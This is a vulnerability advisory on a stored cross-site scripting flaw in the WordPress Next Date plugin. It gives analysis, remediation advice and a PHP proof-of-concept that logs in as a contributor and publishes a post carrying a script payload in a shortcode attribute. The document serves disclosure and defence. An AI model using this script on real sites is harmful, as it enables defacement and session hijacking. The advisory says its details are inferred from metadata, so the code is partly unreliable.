Atomic Edge analysis of CVE-2026-4920 (metadata-based):
This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into WordPress pages through the Next Date plugin (versions up to and including 1.0). The injected scripts execute whenever a user views the compromised page. Atomic Edge assigns a CVSS score of 6.4 (Medium severity) based on the CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N vector.
Root cause: The plugin fails to sanitize the ‘default’ shortcode attribute before rendering it in the page output. Based on the CWE-79 classification and the description, Atomic Edge infers that the plugin registers a WordPress shortcode (likely via add_shortcode(‘nextdate’, …) in the plugin slug ‘nextdate’) and accepts a ‘default’ parameter. The plugin does not call WordPress sanitization functions (e.g., sanitize_text_field, wp_kses_post) on the attribute value nor does it use proper output escaping (e.g., esc_attr, esc_html) when generating the HTML. Without source code, Atomic Edge cannot confirm these implementation details, but the CWE and description strongly suggest this pattern.
Exploitation: An attacker with a contributor account (or higher) creates or edits a post/page containing the vulnerable shortcode. The attacker supplies a malicious payload in the ‘default’ parameter. The shortcode syntax is [nextdate default=”alert(‘XSS’)”]. The attacker publishes the post. When any user (including administrators) views the post, the browser executes the injected JavaScript. The attack requires no special network conditions (AV:N), has low attack complexity (AC:L), and does not require user interaction for the XSS to trigger (UI:N). The scope is changed (S:C) because the injected script runs in the context of the WordPress site, potentially accessing cookies, session tokens, or performing actions as the victim.
Remediation: Atomic Edge advises plugin authors to sanitize shortcode attributes using WordPress’s built-in functions. For example, apply sanitize_text_field() to the ‘default’ attribute value before storing or outputting it. On output, use esc_attr() when the value appears in HTML attributes, or wp_kses_post() for rich content. Since no patched version is available, site administrators should temporarily disable the Next Date plugin or replace it with an alternative. They should also restrict contributor roles or use a Web Application Firewall (WAF) to filter XSS payloads in shortcode parameters.
Impact: Successful exploitation leads to stored cross-site scripting. An attacker can steal session cookies, redirect users to malicious websites, perform actions on behalf of administrators (e.g., create new admin accounts), or deface WordPress content. The XSS is stored, meaning it persists across visits and affects all users who view the compromised page. The CVSS impact sub-score (C:L/I:L/A:N) reflects limited direct data compromise, but the XSS can escalate to full site compromise if an administrator’s session is hijacked.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4920 - Next Date <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'default' Shortcode Attribute
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress URL
$username = 'contributor'; // WordPress user with at least Contributor role
$password = 'password'; // User password
// Step 1: Authenticate
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
// Step 2: Create a new post with the vulnerable shortcode
// Use the WordPress REST API to create a post as the authenticated user
$rest_url = $target_url . '/wp-json/wp/v2/posts';
// XSS payload in the 'default' attribute of the nextdate shortcode
$payload = '<script>alert("XSS by Atomic Edge");</script>';
$post_content = '[nextdate default="' . $payload . '"]';
$post_data = array(
'title' => 'Atomic Edge CVE-2026-4920 PoC',
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
echo "[+] Post created successfully with XSS payload.n";
echo "[+] Visit the new post to trigger the XSS.n";
$response_data = json_decode($response, true);
if (isset($response_data['link'])) {
echo "[+] Post URL: " . $response_data['link'] . "n";
}
} else {
echo "[!] Failed to create post. HTTP code: " . $http_code . "n";
echo "[!] Response: " . $response . "n";
}
